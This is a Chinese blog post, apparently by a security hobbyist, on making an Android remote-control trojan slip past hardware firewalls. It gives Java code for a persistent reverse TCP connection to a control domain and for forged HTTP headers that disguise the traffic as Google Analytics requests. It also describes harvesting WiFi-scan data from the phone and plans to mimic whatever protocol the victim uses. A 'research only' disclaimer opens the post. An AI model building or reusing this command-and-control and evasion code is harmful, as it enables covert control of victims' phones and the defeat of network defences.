首先来说说本人对防火墙的一些认识,防火墙就是拦截和过滤外部网络“不安全的网络”对内部网络“可信网络” 数据包传输的一个工具。反过来也是可以的(内部网络到外部网络),可以是软件防火墙,也可以硬件防火墙。它的原理就是对 TCP/IP 协议族中的网络层和传输层以及应用层中的数据包进行分析和过滤。
关于防火墙更加详细的说明可以参考百度百科http://baike.baidu.com/subview/3067/9048966.htm
本文研究的内容可能包含攻击性,仅供安全研究和教学用途,禁止非法利用
手机远程控制软件穿墙研究
下面进入正题,今天讨论的手机远程控制(以下简称远控)主要指的是Android类手机远控,采用TCP 反弹连接的方式上线。反弹连接上线这种方式对于研究安全技术的人来说再熟悉不过了,比如说几年前的灰鸽子远控, 上兴远控, PCShare, PosionIvy 等等。
这种上线方式就是大家常说的C/S(client/server)模式;不同于C/S模式,B/S(brower/server)模式数据包传输走的是HTTP或者HTTPS协议。
穿透硬件防火墙的方法有很多种, 比如说走ICMP 协议的后门,可以穿透一部分防火墙(取决于防火墙的过滤规则),还有走HTTP/HTTPs协议的B/S类远控后门,这类远控上线很隐蔽,不易被察觉。但是它们都有一个特点,就是数据传输协议单一,一旦被发现,就很难逃脱,因为发送的http 请求头都是固定的,比如大家常用的扫描web服务器的工具AcunetixWeb Vulnerability Scanner,Netsparker 等等;它们的http 请求头都很特殊。B/S类远控后门也一样。
我这里的思路是什么呢? 数据包传输还得用tcp反弹连接 ,但是数据包是伪造的。比如伪造成http 协议,或者任意一种应用层协议,如SMTP协议,DNS协议等等。
下面我给出一部分关键源代码:
/**
* 建立socket 反弹连接.
*/
new Thread()
{
public void run() {
while(true)
{
try
{
Thread.sleep(2000);
try
{
//从String.xml获取上线域名和端口。
socket = newSocket(InetAddress.getByName(domain.trim()),Integer.parseInt(port.trim()));
booleanisConnected = socket.isConnected()&&!socket.isClosed();
if(isConnected)
{
Log.d(TAG,socket.toString());
socket.setKeepAlive(true); //表示对于长时间处于空闲状态的Socket,是否要自动把它关闭
//socket.setTcpNoDelay(true);//TcpNoDelay=false,为启用nagle算法
BackConnTask(socket);
}
} catch(IOException e) {
Log.e(TAG,e.toString());
} finally{
if(socket!=null)socket.close();
}
} catch (Exceptione) {
Log.e(TAG,e.toString());
}
}
};
}.start();
/**
* 初始化http请求数据.
*/
public String InitHttpGet()
{
StringBuilder request = newStringBuilder();
String v1="Host:www.google-analytics.com
";
String v2="User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0
";
String v3="Accept:image/png,image/*;q=0.8,*/*;q=0.5
";
String v4="Accept-Language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
";
String v5="Accept-Encoding:gzip, deflate
";
String v6="Connection:keep-alive
";
request.append(v1).append(v2).append(v3).append(v4).append(v5).append(v6);
//request.length()=266
return request.toString();
}
上面的源代码只是一小部分,源代码的流程是这样的,如下图:
这里只是一个初步的模型,数据包的前面一部分还是固定的。
在wireshark 里看到 ,数据包由tcp 变成了 http 协议。数据内容也变成了http 的请求头数据包。
上图是获取WIFI 扫描信息,还有其他功能就不一一演示了。
了解主流硬件防火墙
下面我们再来看下主流的硬件防火墙都有哪些功能
(注明:下面文字是从天融信官方网站上找到的)
NGFW4000系列专用平台产品采用最新的CCI技术,提供对OSI网络模型所有层次上的网络威胁的实时保护。网络卫士系列防火墙可对还原出来的应用层对象(如文件、网页、邮件等)进行病毒查杀,并可检查是否存在不良WEB内容、垃圾邮件、间谍软件和网络钓鱼欺骗等其他威胁,实现彻底防范。
状态检测只检查数据包的包头。
深度包检测可对数据包内容进行检查。
CCI可实时将网络层数据还原为完整的应用层对象(如文件、网页、邮件等),并对这些完整内容进行全面检查,实现彻底的内容防护。
支持入侵防御功能:
支持应用层防御,入侵防御攻击特征库数量≥3500种,攻击检测率≥90%;支持对多种常用协议的协议识别和异常检测,包括HTTP、FTP、SMTP、POP3、IMAP、MSRPC、NETBIOS、SMB、MS_SQL、TALNET、IRC、DNS等;支持入侵攻击特征库的分类显示;支持用户自定义规则;支持入侵攻击特征库自动升级,手动升级,离线升级,版本回退;响应方式支持阻断、丢包、日志记录等。
从上面的描述可以分析得出, 硬件防火墙的功能还是很全面的。要想突破防火墙的过滤规则,就需要在发送数据包的时候绕过这些规则。
我上面的源代码实现的功能并不完善,以后的想法是实现受控端本地抓包,受控端用什么网络协议,远控就自动伪造成什么协议。达到的效果就是受控端能上网,远控也能上网。
题外话
我看过很多有关黑客类电影,比如:《虎胆龙威4》,《007》,《谍影重重》,《夺命手机》等等。你们想想看,美国国家安全局、中情局、英国军情6处,它们用的什么硬件防火墙。是吧,肯定很牛X ,要想突破,谈何容易。